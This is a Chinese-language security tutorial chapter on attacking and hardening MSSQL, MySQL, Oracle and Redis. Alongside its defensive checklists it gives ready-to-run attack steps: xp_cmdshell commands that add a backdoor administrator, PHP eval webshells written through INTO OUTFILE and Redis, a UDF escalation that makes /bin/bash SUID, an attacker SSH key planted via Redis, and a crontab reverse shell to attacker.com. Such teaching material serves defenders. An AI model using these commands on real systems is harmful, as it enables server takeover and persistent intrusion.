跳转至

数据库安全

7.1 MSSQL(Microsoft SQL Server)

权限模型

MSSQL 的权限分为服务器级和数据库级。最高权限角色 sysadmin 可以执行任何操作,包括调用操作系统命令。

角色 权限范围
sysadmin 系统管理员,最高权限
securityadmin 管理登录名和权限
dbcreator 创建、修改、删除数据库
db_owner 数据库所有者,对单个数据库完全控制

危险存储过程

存储过程是预编译的 SQL 代码集合。MSSQL 内置了一些可直接与操作系统交互的存储过程,在渗透测试中极具价值:

存储过程 功能 利用方式
xp_cmdshell 执行操作系统命令 EXEC xp_cmdshell 'whoami'
xp_regread 读取 Windows 注册表 读取系统配置
xp_regwrite 写入 Windows 注册表 修改系统配置
xp_fileexist 检查文件是否存在 信息收集
sp_oacreate 创建 OLE 对象 调用 COM 组件执行命令

从 SQL 注入到系统权限的利用链: 1. 通过 SQL 注入确认当前用户角色:SELECT SYSTEM_USERsa 2. 确认 xp_cmdshell 是否开启:EXEC sp_configure 'xp_cmdshell' 3. 若未开启,尝试开启:

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE
4. 执行系统命令创建管理员:
EXEC xp_cmdshell 'net user backdoor P@ssw0rd /add'
EXEC xp_cmdshell 'net localgroup administrators backdoor /add'

防御: - 应用连接数据库不使用 sa 账户,创建独立账户并仅授予必要的数据库权限 - 禁用不必要的存储过程:

EXEC sp_configure 'xp_cmdshell', 0
RECONFIGURE
- 数据库以低权限账户运行(非 SYSTEM


7.2 MySQL

安全配置要点

配置项 风险 加固方法
root 运行 数据库被入侵后直接获得 root 权限 创建 mysql 用户,以该用户启动
监听 0.0.0.0 外网可直接连接数据库 bind-address=127.0.0.1
远程 root 访问 弱口令可直接从外网入侵 禁止 root 远程登录,删除匿名用户
空口令 root 任何人可登录 安装时强制设置密码
存在 test 数据库 任何人可连接并操作 删除 test 数据库

MySQL 特有的文件操作函数

函数 功能 利用条件
load_file() 读取服务器文件 当前用户有 FILE 权限
INTO OUTFILE 写入文本文件 FILE 权限,目录可写
INTO DUMPFILE 写入二进制文件 FILE 权限,适合写 UDF DLL

MySQL 写 webshell 示例

-- 确认有 FILE 权限
SELECT file_priv FROM mysql.user WHERE user='current_user'

-- 写入 PHP webshell 到 Web 目录
SELECT '<?php eval($_POST[1]); ?>' INTO OUTFILE '/var/www/html/shell.php'

MySQL UDF(用户自定义函数)提权: 当 MySQL 以 root 运行时,攻击者可上传自定义动态链接库(.so 文件),创建执行系统命令的函数:

-- 将十六进制编码的 so 文件写入插件目录
SELECT 0x7f454c46020101... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'

-- 创建函数
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.so'

-- 执行命令
SELECT sys_exec('chmod +s /bin/bash')

执行后 /bin/bash 获得 SUID 权限,普通用户运行 bash -p 即可获得 root shell。

防御: - 不以 root 运行 MySQL - 删除 FILE 权限(若业务不需要文件操作) - 严格控制数据库目录权限


7.3 Oracle

权限模型

角色 权限
SYSDBA 系统管理员,可启动/关闭数据库,权限高于 DBA
DBA 数据库管理员
CONNECT 连接数据库
RESOURCE 创建表、序列、过程等
PUBLIC 默认所有用户属于此角色,需限制其程序包权限

Oracle 执行系统命令的途径

  • DBMS_SCHEDULER:创建外部作业执行操作系统命令
  • DBMS_SYSTEM:执行系统级操作
  • UTL_FILE:读写服务器文件
  • JAVA 存储过程:若 Oracle 启用了 Java 支持,可通过 Java 代码执行命令

防御: - 为不同管理员分配独立账户,禁止共享 SYSDBA - 限制 PUBLIC 角色的程序包执行权限 - 限制 UTL_FILE 可访问的目录


7.4 Redis

Redis 默认配置的安全风险极高:无密码、监听 0.0.0.0、无保护模式。这意味着任何能连接到该端口的人都能完全控制数据,甚至控制服务器。

从 Redis 到服务器权限的常见路径

路径一:写入 SSH 公钥

# 连接 Redis
redis-cli -h target.com

# 修改保存目录为 root 的 .ssh 目录
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys

# 写入攻击者的 SSH 公钥
SET x "\n\nssh-rsa AAAA... attacker@kali\n\n"
SAVE
攻击者直接使用私钥免密登录服务器:ssh -i id_rsa root@target.com

路径二:写入 Crontab

CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
SET x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n"
SAVE
每分钟执行一次反弹 shell。

路径三:写入 Web 目录(若 Redis 和 Web 同机)

CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "\n\n<?php eval($_POST[1]); ?>\n\n"
SAVE

Redis 安全加固清单

配置 默认 加固建议
密码 设置 requirepass 强密码
监听地址 0.0.0.0 改为 127.0.0.1 或内网 IP
保护模式 根据版本 protected-mode yes
运行用户 root(常见) 创建独立 redis 用户
危险命令 可用 rename-command CONFIG CONFIG_xxxx
端口 6379 修改为非默认端口


总结

  • 7.1 MSSQL(Microsoft SQL Server)
  • 7.2 MySQL
  • 7.3 Oracle
  • 7.4 Redis